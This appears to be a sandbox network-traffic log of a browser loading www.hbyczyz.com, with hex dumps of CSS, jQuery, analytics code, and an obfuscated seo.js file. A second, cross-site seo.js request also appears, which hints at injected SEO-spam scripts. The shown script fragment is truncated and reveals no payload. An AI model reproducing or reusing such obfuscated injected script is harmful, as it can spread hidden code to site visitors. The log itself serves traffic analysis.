2024-09-27 03:50:54 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 0a 20 2a 09 43 72 65 61 74 65 64 20 62 79 20 45 64 77 61 72 64 20 6f 6e 20 32 33 2f 30 33 2f 31 33 0a 20 2a 09 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 33 20 69 73 68 75 74 69 6d 65 2e 63 6f 6d 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 0a 2a 2f 0a 2a 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 69 63 6f 6e 66 6f 6e 74 27 3b 0a 09 73 72 63 3a 20 75 72 6c 28 27 69 63 6f 6e 66 6f 6e 74 2e 77 6f 66 66 32 3f 74 3d 31 36 36 33 37 34 30 30 37 39 38 34 33 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 Data Ascii: ffa8/* Created by Edward on 23/03/13 Copyright (c) 2023 ishutime.com All rights reserved/ {margin: 0px;padding: 0px;box-sizing: border-box;}@font-face {font-family: 'iconfont';src: url('iconfont.woff2?t=1663740079843') format('wof
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 64 65 72 2e 73 75 62 20 2e 73 65 61 72 63 68 5f 69 63 6f 6e 3a 61 66 74 65 72 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 32 35 70 78 20 30 70 78 3b 0a 7d 0a 0a 2e 73 65 61 72 63 68 5f 69 63 6f 6e 2e 73 69 32 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6e 61 76 72 20 2e 6c 61 6e 67 75 65 20 7b 0a 09 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 39 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 42 72 6f 77 6e 42 6c 6f 64 3b 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 7d 0a 0a 2e 6e 61 76 72 20 2e 6c 61 6e 67 75 65 20 73 70 61 6e 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 20 Data Ascii: der.sub .search_icon:after{ background-position: -25px 0px;}.search_icon.si2{ display: none;}.navr .langue {width: 90px;line-height: 90px;text-align: center;font-family: BrownBlod;color: #fff;}.navr .langue span {padding: 0px
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 25 2f 30 20 31 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 29 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 7d 0a 0a 2e 6e 65 77 73 5f 62 6f 78 20 2e 72 69 67 68 74 20 61 3a 68 6f 76 65 72 20 2e 6e 61 6d 65 20 62 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 31 30 30 25 20 31 70 78 3b 0a 7d 0a 0a 2e 6e 65 77 73 5f 62 6f 78 20 2e 72 69 67 68 74 20 61 20 2e 64 65 73 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 Data Ascii: %/0 1px no-repeat;text-decoration: none;transition: background .6s cubic-bezier(0.215, 0.610, 0.355, 1);display: inline;}.news_box .right a:hover .name b {background-size: 100% 1px;}.news_box .right a .des {width: 100%;font-size: 14px;
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 09 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 2c 20 2e 38 31 35 2c 20 2e 32 33 35 2c 20 31 2e 31 33 29 3b 0a 09 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 20 74 72 61 6e 73 66 6f 72 6d 3b 0a 7d 0a 0a 2e 63 6f 6d 5f 6d 6f 72 65 3a 68 6f 76 65 72 20 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 20 7b 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 30 32 73 3b 0a 7d 0a 0a 2e 63 6f 6d 5f 6d 6f 72 65 3a 68 6f 76 65 72 20 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 33 29 20 7b 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 30 34 73 3b 0a 7d 0a 0a 2e 63 6f 6d 5f 6d 6f Data Ascii: animation-timing-function: cubic-bezier(.1, .815, .235, 1.13);backface-visibility: hidden;will-change: transform;}.com_more:hover span:nth-child(2) {animation-delay: .02s;}.com_more:hover span:nth-child(3) {animation-delay: .04s;}.com_mo
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 3b 0a 7d 0a 0a 2e 70 62 6f 78 20 2e 61 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 35 30 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 35 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 62 39 37 36 0d 0a 3b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 0a 2e 70 62 6f 78 20 2e 61 20 2e 64 6f 74 20 7b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 31 38 34 37 39 31 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 Data Ascii: ;}.pbox .a {width: 100%;height: auto;position: relative;padding-left: 50px;margin-bottom: 25px;display: blockb976;cursor: pointer;}.pbox .a .dot {width: 12px;height: 12px;background: #184791;border-radius: 50%;position: a
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 35 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 09 77 69 64 74 68 3a 20 36 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 2e 33 29 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 33 73 20 61 6c 6c 3b 0a 7d 0a 0a 2e 73 70 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 7d 0a 0a 2e 73 70 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 3a 3a 61 66 74 Data Ascii: 5px;margin-left: 3px;width: 62px;height: 1px;background: rgba(255, 255, 255, .3);transition: 0.3s all;}.sp .swiper-pagination-bullet-active {border: 2px solid rgba(255, 255, 255, 1);opacity: 1;}.sp .swiper-pagination-bullet-active::aft
2024-09-27 03:50:54 UTC	14849	IN	Data Raw: 70 5f 74 69 74 6c 65 20 2e 72 69 67 68 74 20 7b 0a 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7d 0a 0a 09 2e 7a 70 5f 74 69 74 6c 65 20 2e 72 69 67 68 74 20 61 20 7b 0a 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 0a 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 76 77 3b 0a 09 09 77 69 64 74 68 3a 20 31 33 30 70 78 3b 0a 09 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 34 30 70 78 3b 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 7d 0a 0a 09 2e 6c 61 62 65 72 42 6f 78 20 75 6c 20 6c 69 2c 0a 09 2e 6c 61 62 65 72 42 6f 78 20 6f 6c 20 6c 69 20 7b 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 7d 0a 0a 09 2e 6c 61 62 65 72 42 6f 78 20 6f 6c 20 6c 69 20 7b 0a 09 09 68 Data Ascii: p_title .right {width: 100%;}.zp_title .right a {margin-left: 0px;margin-top: 2vw;width: 130px;height: auto;line-height: 40px;font-size: 12px;}.laberBox ul li,.laberBox ol li {font-size: 14px;}.laberBox ol li {h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49788	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	521	OUT	GET /seo.js HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: application/javascript Content-Length: 2787 Last-Modified: Wed, 12 Jun 2024 07:32:25 GMT Connection: close Vary: Accept-Encoding ETag: "66694f09-ae3" Expires: Fri, 27 Sep 2024 04:50:28 GMT Cache-Control: max-age=3600 Accept-Ranges: bytes
2024-09-27 03:50:54 UTC	2787	IN	Data Raw: 76 61 72 20 5f 5f 65 6e 63 6f 64 65 20 3d 27 6a 73 6a 69 61 6d 69 2e 63 6f 6d 27 2c 5f 61 3d 7b 7d 2c 20 5f 30 78 62 34 38 33 3d 5b 22 5c 78 35 46 5c 78 36 34 5c 78 36 35 5c 78 36 33 5c 78 36 46 5c 78 36 34 5c 78 36 35 22 2c 22 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 33 41 5c 78 32 46 5c 78 32 46 5c 78 37 37 5c 78 37 37 5c 78 37 37 5c 78 32 45 5c 78 37 33 5c 78 36 46 5c 78 36 41 5c 78 37 33 5c 78 36 46 5c 78 36 45 5c 78 32 45 5c 78 36 33 5c 78 36 46 5c 78 36 44 5c 78 32 46 5c 78 36 41 5c 78 36 31 5c 78 37 36 5c 78 36 31 5c 78 37 33 5c 78 36 33 5c 78 37 32 5c 78 36 39 5c 78 37 30 5c 78 37 34 5c 78 36 46 5c 78 36 32 5c 78 36 36 5c 78 37 35 5c 78 37 33 5c 78 36 33 5c 78 36 31 5c 78 37 34 5c 78 36 46 5c 78 37 32 5c 78 32 45 5c 78 36 38 5c 78 37 Data Ascii: var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49789	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	611	OUT	GET /resources/assets/images/t400-400.png HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	257	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/t400-400.png
2024-09-27 03:50:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49790	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	567	OUT	GET /resources/assets/lib/js/jquery-1.10.1.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:29 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:54 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 3d 74 79 70 65 6f 66 20 74 2c 6f 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 61 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6c 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 63 3d 7b 7d 2c 70 3d 5b 5d 2c 66 3d 22 31 2e 31 30 2e 31 22 2c 64 3d 70 2e 63 6f 6e 63 61 74 2c 68 3d 70 2e 70 75 73 68 2c 67 3d 70 2e 73 6c 69 63 65 2c 6d 3d 70 2e 69 6e 64 65 78 4f 66 2c 79 3d 63 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 62 3d 66 2e 74 72 69 6d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 78 2e 66 6e 2e 69 6e 69 74 28 65 2c 74 2c 72 29 7d 2c 77 3d 2f Data Ascii: ffa8(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 74 7c 7c 65 29 21 3d 3d 66 26 26 70 28 65 29 3b 76 61 72 20 69 3d 6f 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 61 3d 69 26 26 4c 2e 63 61 6c 6c 28 6f 2e 61 74 74 72 48 61 6e 64 6c 65 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 69 28 65 2c 6e 2c 21 68 29 3a 74 3b 72 65 74 75 72 6e 20 61 3d 3d 3d 74 3f 72 2e 61 74 74 72 69 62 75 74 65 73 7c 7c 21 68 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6e 29 3a 28 61 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 6e 29 29 26 26 61 2e 73 70 65 63 69 66 69 65 64 3f 61 2e 76 61 6c 75 65 3a 6e 75 6c 6c 3a 61 7d 2c 61 74 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 79 6e 74 61 78 20 65 72 72 6f 72 Data Ascii: t\|\|e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes\|\|!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 69 6f 6e 20 57 28 65 2c 74 2c 6e 29 7b 69 66 28 78 2e 61 63 63 65 70 74 44 61 74 61 28 65 29 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 2c 61 3d 6f 3f 78 2e 63 61 63 68 65 3a 65 2c 73 3d 6f 3f 65 5b 78 2e 65 78 70 61 6e 64 6f 5d 3a 78 2e 65 78 70 61 6e 64 6f 3b 69 66 28 61 5b 73 5d 29 7b 69 66 28 74 26 26 28 72 3d 6e 3f 61 5b 73 5d 3a 61 5b 73 5d 2e 64 61 74 61 29 29 7b 78 2e 69 73 41 72 72 61 79 28 74 29 3f 74 3d 74 2e 63 6f 6e 63 61 74 28 78 2e 6d 61 70 28 74 2c 78 2e 63 61 6d 65 6c 43 61 73 65 29 29 3a 74 20 69 6e 20 72 3f 74 3d 5b 74 5d 3a 28 74 3d 78 2e 63 61 6d 65 6c 43 61 73 65 28 74 29 2c 74 3d 74 20 69 6e 20 72 3f 5b 74 5d 3a 74 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d Data Ascii: ion W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i-
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 74 75 72 6e 20 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 78 2e 45 76 65 6e 74 3f 28 65 26 26 65 2e 74 79 70 65 3f 28 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 3d 65 2c 74 68 69 73 2e 74 79 70 65 3d 65 2e 74 79 70 65 2c 74 68 69 73 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 3d 65 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 7c 7c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 3d 3d 21 31 7c 7c 65 2e 67 65 74 50 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 67 65 74 50 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3f 69 74 3a 6f 74 29 3a 74 68 69 73 2e 74 79 70 65 3d 65 2c 6e 26 26 78 2e 65 78 74 65 6e 64 28 74 68 69 73 2c 6e 29 2c 74 68 69 73 2e 74 69 6d 65 53 74 61 6d 70 3d 65 26 26 65 2e 74 69 6d 65 53 74 61 6d 70 7c Data Ascii: turn this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented\|\|e.returnValue===!1\|\|e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp\|
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 22 2c 76 69 73 69 62 69 6c 69 74 79 3a 22 68 69 64 64 65 6e 22 2c 64 69 73 70 6c 61 79 3a 22 62 6c 6f 63 6b 22 7d 2c 4b 74 3d 7b 6c 65 74 74 65 72 53 70 61 63 69 6e 67 3a 30 2c 66 6f 6e 74 57 65 69 67 68 74 3a 34 30 30 7d 2c 5a 74 3d 5b 22 54 6f 70 22 2c 22 52 69 67 68 74 22 2c 22 42 6f 74 74 6f 6d 22 2c 22 4c 65 66 74 22 5d 2c 65 6e 3d 5b 22 57 65 62 6b 69 74 22 2c 22 0d 0a 36 64 39 62 0d 0a 4f 22 2c 22 4d 6f 7a 22 2c 22 6d 73 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 74 29 7b 69 66 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 6e 3d 74 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 74 2e 73 6c 69 63 65 28 31 29 2c 72 3d 74 2c 69 3d 65 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 69 66 28 Data Ascii: ",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","6d9bO","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(
2024-09-27 03:50:55 UTC	11814	IN	Data Raw: 28 6e 2e 75 72 6c 29 3f 22 26 22 3a 22 3f 22 29 2b 6e 2e 6a 73 6f 6e 70 2b 22 3d 22 2b 6f 29 2c 6e 2e 63 6f 6e 76 65 72 74 65 72 73 5b 22 73 63 72 69 70 74 20 6a 73 6f 6e 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7c 7c 78 2e 65 72 72 6f 72 28 6f 2b 22 20 77 61 73 20 6e 6f 74 20 63 61 6c 6c 65 64 22 29 2c 73 5b 30 5d 7d 2c 6e 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 3d 22 6a 73 6f 6e 22 2c 61 3d 65 5b 6f 5d 2c 65 5b 6f 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 61 72 67 75 6d 65 6e 74 73 7d 2c 69 2e 61 6c 77 61 79 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 5b 6f 5d 3d 61 2c 6e 5b 6f 5d 26 26 28 6e 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 2c 46 6e 2e 70 75 73 68 28 6f 29 29 2c 73 26 26 Data Ascii: (n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s\|\|x.error(o+" was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49792	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:55 UTC	612	OUT	GET /21261259.js HTTP/1.1 Host: js.users.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:55 UTC	529	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Cache-Control: no-store Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE3[173],EU-GER-frankfurt-EDGE7-CACHE3[ovl,170],EU-GER-frankfurt-EDGE5-CACHE3[ovl,169],CHN-HElangfang-GLOBAL6-CACHE106[ovl,15] X-CCDN-REQ-ID-46B1: 653582deaec02cf40d81ebed77b4f7b3
2024-09-27 03:50:55 UTC	5087	IN	Data Raw: 34 36 65 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 7b 69 74 76 3a 20 31 38 30 30 30 30 30 2c 75 72 6c 31 3a 27 2f 2f 69 61 2e 35 31 2e 6c 61 2f 67 6f 31 3f 69 64 3d 32 31 32 36 31 32 35 39 27 2c 65 6b 63 3a 27 27 7d 3b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 35 31 2e 6c 61 2f 3f 63 6f 6d 49 64 3d 32 31 32 36 31 32 35 39 22 20 74 69 74 6c 65 3d 22 35 31 2e 4c 61 20 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 36 64 34 31 5c 75 39 31 63 66 5c 75 37 65 64 66 5c 75 38 62 61 31 5c 75 37 63 66 62 5c 75 37 65 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 37 65 64 66 5c 75 38 62 61 31 3c 2f 61 3e 27 29 Data Ascii: 46e(function(){var config = {itv: 1800000,url1:'//ia.51.la/go1?id=21261259',ekc:''};document.write('<a href="https://www.51.la/?comId=21261259" title="51.La \u7f51\u7ad9\u6d41\u91cf\u7edf\u8ba1\u7cfb\u7edf" target="_blank">\u7f51\u7ad9\u7edf\u8ba1</a>')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49791	50.3.213.78	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:55 UTC	613	OUT	GET /2023/seo.js HTTP/1.1 Host: www.uapp360.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:55 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:55 GMT Content-Type: application/javascript Content-Length: 4253 Last-Modified: Fri, 07 Jun 2024 10:25:56 GMT Connection: close Vary: Accept-Encoding ETag: "6662e034-109d" Accept-Ranges: bytes
